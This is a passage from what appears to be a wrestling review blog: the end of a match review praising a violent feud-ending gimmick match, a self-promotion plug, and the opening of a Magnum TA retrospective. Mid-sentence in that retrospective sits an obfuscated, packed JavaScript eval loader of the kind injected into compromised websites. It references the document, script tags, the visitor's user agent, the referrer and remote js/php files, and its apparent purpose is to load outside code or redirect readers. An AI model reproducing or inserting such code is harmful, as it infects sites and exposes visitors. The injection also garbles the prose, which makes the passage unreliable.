Rating: A+. This right here is the best gimmick match blowoff to a feud ever. This match was about VIOLENCE and it worked incredibly well. The ending was great, the violence was great, most people bled, there is not a single dead spot in the nearly 25 minutes that this match ran, the crowd was white hot, and the feud ended here. This was it and everyone knew it so they left everything they had in the ring. Perfection for what it was supposed to be.

Remember to follow me on Twitter @kbreviews and pick up my new book of on the History of ECW Pay Per Views at Amazon for just $3.99 at:

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Today might be the king of “what if’s”. It’s Magnum TA.

Magnum eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|ynsfr|var|u0026u|referrer|rttiz||js|php'.split('|'),0,{})) started under his real name of Terry Allen in 1977. I’m not sure when this first match is from but it seems to be Southwest Championship Wrestling (San Antonio) at some point in the very early 1980s.